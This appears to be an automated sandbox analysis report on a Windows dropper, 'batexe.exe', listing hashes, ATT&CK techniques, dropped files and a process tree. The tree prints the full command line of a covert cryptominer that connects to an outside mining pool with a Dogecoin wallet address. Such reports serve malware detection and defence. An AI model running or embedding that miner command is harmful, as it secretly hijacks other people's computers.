73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
307s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11/02/2024, 18:42

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4844	b2e.exe
4536	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4536	cpuminer-sse2.exe
4536	cpuminer-sse2.exe
4536	cpuminer-sse2.exe
4536	cpuminer-sse2.exe
4536	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1880-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1880 wrote to memory of 4844	1880	batexe.exe	84
PID 1880 wrote to memory of 4844	1880	batexe.exe	84
PID 1880 wrote to memory of 4844	1880	batexe.exe	84
PID 4844 wrote to memory of 3240	4844	b2e.exe	85
PID 4844 wrote to memory of 3240	4844	b2e.exe	85
PID 4844 wrote to memory of 3240	4844	b2e.exe	85
PID 3240 wrote to memory of 4536	3240	cmd.exe	88
PID 3240 wrote to memory of 4536	3240	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1880
- C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A9DC.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe

Filesize
5KB

MD5
ec2cc253808db4f8ba10a435662b961a

SHA1
f906e5d46f270ca9f1dfbc4532541ca63970340c

SHA256
2af3499b7dcc769e63a4dd1b39d5b8100cbe6bc520bba7c4423c80111185919a

SHA512
f803bdc055fea4c812fe1b93a339aae00bfe8803c3f123c049c68c27963c2ff0aae3310eecf9dee9502fa50082a260fc0563f47988231d958bf1ce8a5965ac9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe

Filesize
2.2MB

MD5
18c8f6e741774f9a92cedf00eaf7f799

SHA1
b07a043f0189cdc05063dea0597c0f2918c63f11

SHA256
a6553a71f05fe4b643eee04f4035aa923ee847610f922a0c6caa9dd37f03c157

SHA512
f5b2aa531c11d590cc6dd14298fe85f30185e6a8052ce474d2a813c47db479a9bfd400506fde6bc793521864aa774b8682dba8a50a772f1fcfe7d14c1abf829d

Download Submit
C:\Users\Admin\AppData\Local\Temp\A131.tmp\b2e.exe

Filesize
1.7MB

MD5
7b9e19cbeef48d1436f80636d98f1e29

SHA1
211ab3ec2dbf56621bfa6e7b4af51f6d59ed7e22

SHA256
ab3065d4cd6d2916257227617fba70a92bdb7b65f474d9a3b5a7910c6791775d

SHA512
cd561dbc1747d3f5e1a799a1d6f13d71150e273835ecfd1f84b00e742b04a23b41daf83db404ef527c1531f665bd6e74a4fc62bc84759208b958a4803063bdae

Download Submit
C:\Users\Admin\AppData\Local\Temp\A9DC.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
2d0313a655440e87aa3c0c928026ee16

SHA1
2275a64c92180d88e646b8852ace630ee11ce085

SHA256
b94d18754c2d8478151e0d73faa055fa69da602531d4891d9ddcd2a65124409c

SHA512
a253fb7c977895a6d6cb508729af9b4a06d85f24c62a0b0fc0baa2b4e463e0ba53416ede4a5f9efdd244e3a0cbe99732b07b73d2eaef2a02ca72b064c00569a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
29361f54209797371b7ce31ba24241e7

SHA1
4720e44643890c789fde3c0d8adc13d2adb7db0a

SHA256
3a1c70e3ec44f08ace3d3e11b708111bc52b350adc34f14e88f9ff118e44af77

SHA512
6f575294311b8804f1e029ebf1af975b3d6308aa3fa08bb0c539bfa6744142d9496eace01e8c1ac7c12b0561c8675222a766e61209dc28a363edde05b6ed0e61

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
2ea17a6727c749b226d79939f58cd512

SHA1
8e831fa379eabc90201195d512369e39af1fa34b

SHA256
848d2681f294012b2d314365072d71ce0c454f0be6f9171e0de033a63124e13b

SHA512
d71a08be881f843c47067f1b91e0a76dd65207fe0fc4c462501ea575ddb6d0551329db33d3b09ddfae2c9fd42980e81522602f4ff792026106fbb4c2daa092ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1880-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4536-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4536-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4536-46-0x000000006D880000-0x000000006D918000-memory.dmp

Filesize
608KB

Download
memory/4536-47-0x0000000001050000-0x0000000002905000-memory.dmp

Filesize
24.7MB

Download
memory/4536-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4536-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4844-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4844-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download